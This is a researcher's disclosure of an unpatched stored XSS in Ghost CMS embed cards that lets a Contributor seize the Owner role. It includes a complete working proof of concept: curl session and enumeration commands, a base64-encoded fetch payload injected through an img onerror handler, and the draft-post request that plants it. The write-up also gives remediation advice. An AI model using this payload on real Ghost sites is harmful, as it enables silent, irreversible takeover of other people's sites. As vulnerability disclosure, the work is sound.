Vulnerability Overview
I found a Stored Cross-Site Scripting vulnerability in Ghost CMS triggered by malicious embed card HTML in the Lexical editor, enabling full instance takeover. With a single click from the site Owner, an attacker with the lowest staff role (Contributor) becomes the new Owner, gaining sole ownership, full administrative access, and billing modification abilities. The original Owner gets permanently demoted to Administrator.
Ghost CMS declined to patch it, stating that all staff users are considered trusted regardless of role.
Danger (Unpatched — vendor declined to fix)
Ghost CMS classified this under their “Privilege Escalation Attacks” exclusion policy. The vulnerability remains present in all current versions including 6.19.2 (latest at time of writing).
What is Ghost CMS?
Ghost CMS is a modern, open-source content management system for professional publishing. Built on Node.js, it offers rich editors, SEO tools, email newsletters, and membership features. The Docker image has over 100 million downloads and is used by Apple, Mozilla, OpenAI, and many others.
Ghost CMS has five user role levels: Contributors, Authors, Editors, Administrators, and Owner. Each role has different permissions, and any staff user can create posts with embed cards, making any staff user a potential exploit vector.
- Contributors: Can write drafts, cannot publish
- Authors: Can create and publish their own posts
- Editors: Can manage all posts and invite authors/contributors
- Administrators: Full edit permissions for all data and settings
- Owner: Cannot be deleted; accesses billing details; only one per site
Stored XSS in Embed Card HTML
Ghost’s Lexical editor supports “embed cards” for embedding external content like YouTube videos, tweets, and other media. Each embed card stores raw HTML that gets rendered when a user views the post in the Ghost admin editor.
The embed card HTML field is not sanitized at any point. Whatever HTML is submitted through the API gets stored directly and rendered as-is. This means any staff user can inject JavaScript that will execute in the browser of anyone who opens the post in the admin panel.
The vulnerability exists in two components:
Client-side (admin panel): The @tryghost/koenig-lexical package renders embed HTML inside an unsandboxed iframe:
<iframe srcDoc={html} />Without a sandbox attribute, JavaScript in the HTML runs with full access to the admin session.
Server-side: In embed-renderer.js at line 61:
figure.innerHTML = node.html;User-controlled HTML is assigned directly to innerHTML with no sanitization.
Multiple XSS vectors were confirmed to execute in the admin panel:
<img src=x onerror="..."><svg onload="..."><details open ontoggle="..."><iframe src="javascript:...">- Base64-encoded
eval(atob(...))
Weaponizing XSS: Ghost CMS Instance Takeover
The attack targets the site Owner by having them view a malicious draft post. A Contributor creates a draft with a crafted embed card, and the XSS fires automatically when the Owner opens it in the editor to review it. This is a normal part of editorial workflows on multi-author Ghost sites.
A single XSS payload performs two actions in the Owner’s authenticated session:
- Promotes the attacker’s Contributor account to Administrator via
PUT /ghost/api/admin/users/{id}/ - Transfers site ownership to the attacker via
PUT /ghost/api/admin/users/owner
The result is a permanent, irrevocable takeover. The attacker becomes the new Owner (cannot be deleted or demoted), and the original Owner is demoted to Administrator. Recovery requires direct database access.
The required information for the payload (user IDs, role IDs) is available to any staff user, including Contributors, through the Ghost admin API:
GET /ghost/api/admin/users/?include=rolesGET /ghost/api/admin/roles/A two-stage version of the attack was also verified, where the first draft creates an Administrator invite for the attacker’s email, and a second draft transfers ownership. On production Ghost instances with email configured, the attacker simply receives a legitimate invite email from Ghost and accepts it normally.
Proof of Concept
The following walkthrough was performed on Ghost 6.19.2. The test environment has two accounts: an Owner (chris@alupify.com) and a Contributor (evil@test.com).

Step 1: Confirm Roles Before the Attack

Step 2: Authenticate as Contributor
curl -s -c cookies.txt -X POST "http://localhost:2368/ghost/api/admin/session/" \ -H "Content-Type: application/json" \ -d '{"username":"evil@test.com","password":"EvilPass123!"}'Step 3: Get Attacker’s User ID
curl -s -b cookies.txt "http://localhost:2368/ghost/api/admin/users/me/?include=roles" | jq '.users[0] | {id, email, role: .roles[0].name}'
Step 4: Get Administrator Role ID
Note
Contributors can access the /roles/ endpoint. This is not a separate vulnerability, but it means the attacker can discover all role IDs using their own session.
curl -s -b cookies.txt "http://localhost:2368/ghost/api/admin/roles/" | jq '.roles[] | select(.name=="Administrator") | {id, name}'
Note
The user IDs and role IDs in the following steps are specific to this test environment. You will need to replace them with the values obtained from Steps 3 and 4 for your own instance.
Step 5: Build the XSS Payload
The JavaScript payload chains two API calls using the victim’s session. The first promotes the Contributor to Administrator. The second transfers site ownership to the attacker. Both use credentials: 'include' to ride on the Owner’s session cookie.
// Step 1: Promote Contributor to Administratorfetch('/ghost/api/admin/users/83daecbecde740faa0cf46ba/', { method: 'PUT', credentials: 'include', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ users: [{ roles: [{id: '6988d0a3fbf3c2a0c634cd2f', name: 'Administrator'}] }] })}).then(() => // Step 2: Transfer ownership to attacker (now Administrator) fetch('/ghost/api/admin/users/owner', { method: 'PUT', credentials: 'include', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ owner: [{id: '83daecbecde740faa0cf46ba'}] }) }))API endpoints used:
PUT /ghost/api/admin/users/{id}/changes a user’s role. Requires the caller to be an Owner or Administrator.PUT /ghost/api/admin/users/ownertransfers site ownership. Can only be called by the current Owner. The target must already be an Administrator, which is why the payload promotes the attacker first.
Step 6: Base64 Encode the Payload
The payload is base64-encoded to avoid JSON escaping issues when embedding it in the Lexical document:
echo -n "fetch('/ghost/api/admin/users/83daecbecde740faa0cf46ba/',{method:'PUT',credentials:'include',headers:{'Content-Type':'application/json'},body:JSON.stringify({users:[{roles:[{id:'6988d0a3fbf3c2a0c634cd2f',name:'Administrator'}]}]})}).then(()=>fetch('/ghost/api/admin/users/owner',{method:'PUT',credentials:'include',headers:{'Content-Type':'application/json'},body:JSON.stringify({owner:[{id:'83daecbecde740faa0cf46ba'}]})}))" | base64 -w0ZmV0Y2goJy9naG9zdC9hcGkvYWRtaW4vdXNlcnMvODNkYWVjYmVjZGU3NDBmYWEwY2Y0NmJhLycse21ldGhvZDonUFVUJyxjcmVkZW50aWFsczonaW5jbHVkZScsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpTT04uc3RyaW5naWZ5KHt1c2Vyczpbe3JvbGVzOlt7aWQ6JzY5ODhkMGEzZmJmM2MyYTBjNjM0Y2QyZicsbmFtZTonQWRtaW5pc3RyYXRvcid9XX1dfSl9KS50aGVuKCgpPT5mZXRjaCgnL2dob3N0L2FwaS9hZG1pbi91c2Vycy9vd25lcicse21ldGhvZDonUFVUJyxjcmVkZW50aWFsczonaW5jbHVkZScsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpTT04uc3RyaW5naWZ5KHtvd25lcjpbe2lkOic4M2RhZWNiZWNkZTc0MGZhYTBjZjQ2YmEnfV19KX0pKQ==The embed card HTML that delivers the payload:
<img src=x onerror="eval(atob('ZmV0Y2goJy9naG9zdC9hcGkvYWRtaW4vdXN...'))">When the image fails to load, the onerror handler decodes and executes the JavaScript.
Step 7: Create the Malicious Draft Post
The payload is embedded in a Lexical embed card and submitted as a draft post:
CONTRIB_ID="83daecbecde740faa0cf46ba"PAYLOAD_B64="ZmV0Y2goJy9naG9zdC9hcGkvYWRtaW4vdXNlcnMvODNkYWVjYmVjZGU3NDBmYWEwY2Y0NmJhLycse21ldGhvZDonUFVUJyxjcmVkZW50aWFsczonaW5jbHVkZScsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpTT04uc3RyaW5naWZ5KHt1c2Vyczpbe3JvbGVzOlt7aWQ6JzY5ODhkMGEzZmJmM2MyYTBjNjM0Y2QyZicsbmFtZTonQWRtaW5pc3RyYXRvcid9XX1dfSl9KS50aGVuKCgpPT5mZXRjaCgnL2dob3N0L2FwaS9hZG1pbi91c2Vycy9vd25lcicse21ldGhvZDonUFVUJyxjcmVkZW50aWFsczonaW5jbHVkZScsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpTT04uc3RyaW5naWZ5KHtvd25lcjpbe2lkOic4M2RhZWNiZWNkZTc0MGZhYTBjZjQ2YmEnfV19KX0pKQ=="
# Build the post JSON with the payload and contributor ID substituted incat > /tmp/payload.json << JSONEOF{ "posts": [{ "title": "Check this embed!", "lexical": "{\"root\":{\"children\":[{\"type\":\"embed\",\"version\":1,\"url\":\"https://example.com\",\"html\":\"<img src=x onerror=\\\\\"eval(atob('${PAYLOAD_B64}'))\\\\\">\",\"embedType\":\"embed\"}],\"direction\":null,\"format\":\"\",\"indent\":0,\"type\":\"root\",\"version\":1}}", "status": "draft", "authors": [{"id": "${CONTRIB_ID}"}] }]}JSONEOF
# Submit as Contributorcurl -s -b cookies.txt -X POST "http://localhost:2368/ghost/api/admin/posts/" \ -H "Content-Type: application/json" \ -d @/tmp/payload.json | jq '{id: .posts[0].id, title: .posts[0].title, author: .posts[0].primary_author.name}'{ "id": "699de9102754d18a13be3397", "title": "Check this embed!", "author": "Evil Contributor"}The post shows up as a normal draft in the Ghost Admin posts list.

Step 8: Owner Views the Draft
The site Owner (chris@alupify.com) opens the draft in the editor to review it. This is standard editorial workflow on any multi-author Ghost site. The Network tab shows the two PUT requests firing silently in the background.

The moment the editor loads, the embed card renders, the image fails to load, and the onerror handler fires. The two API calls execute using the Owner’s authenticated session. No clicks, no popups, no visible indication that anything happened.
Step 9: Verify the Takeover
After the Owner views the post, the roles have changed:
evil@test.com | Ownerchris@alupify.com | Administrator
Danger (Irrevocable takeover)
The takeover is permanent. The original Owner cannot recover their role through the admin panel. The attacker now has sole ownership of the Ghost instance and cannot be deleted or demoted by anyone. In fact, the attacker can now delete the original Owner’s account entirely. Recovery requires direct database access.

Precedent: CVE-2024-23724
This is not the first stored XSS to Owner takeover in Ghost CMS. In 2024, Rhino Security Labs discovered a nearly identical vulnerability (CVE-2024-23724) where a low-privilege user could escalate to Owner through stored XSS in SVG profile pictures. Ghost gave the same response at the time: staff users are trusted. MITRE assigned CVE-2024-23724 anyway, and Ghost eventually merged a fix in Pull Request #20264.
Warning (Pattern repeating)
Same product, same vulnerability class, same minimum privilege, same vendor response, same impact. The only difference is the injection vector: SVG profile pictures vs. embed card HTML.
Rhino Security Labs’ proof-of-concept: https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-23724
Vendor Response
When I reported this vulnerability, Ghost CMS classified it under the “Privilege Escalation Attacks” exclusion in their security policy, which states that all staff users are considered trusted. Their position is that because Ghost allows content creators to use scripts and embedded content, XSS from staff users is a design feature rather than a security flaw.
I pushed back, citing the CVE-2024-23724 precedent described above. In their final response, Ghost explained why they saw the two cases differently:
The use case for embeds is very different to the previous SVG rendering fix you reference. Scripts are not expected in SVG, which is why it made sense to put basic sanitisation in place for them. If scripts were needed for that feature to function — as they are for many of the embeds we support — we would’ve been OK leaving the possible exploit in place, as all Staff users are considered trusted not to be malicious regardless of assigned role.
In short, Ghost said the SVG fix only happened because scripts weren’t needed for that feature to work. They would have left it unpatched otherwise. For embed cards, since some legitimate embeds use scripts, they chose not to sanitize the HTML at all.
Important (Domain separation does not mitigate this)
Ghost’s security policy suggests separating front-end and admin domains as a mitigation for concerned site owners. This does not help in this case because the XSS fires inside the Ghost admin panel itself when an Owner opens the editor to review a draft post.
Remediation
Tip (Existing dependency could fix this)
Ghost CMS already has DOMPurify installed as a dependency. Sanitizing embed card HTML before rendering would block malicious payloads while preserving legitimate embed functionality. Adding a sandbox attribute to the iframe in EmbedCard.jsx would also prevent script execution in the admin panel context.
Until a fix is applied, Ghost site owners should limit staff access to trusted individuals and be aware that reviewing any draft post with an embed card could trigger XSS in their session.
Conclusion
This vulnerability allows the lowest-privilege staff user on a Ghost site to permanently take over the Owner account by submitting a single draft post. The attack fits naturally into editorial workflows where Owners and Administrators routinely review Contributor drafts. Ghost declined to patch it, and the vulnerability remains present in all current versions.
Proof-of-concept available at: https://github.com/Neosprings/CVEs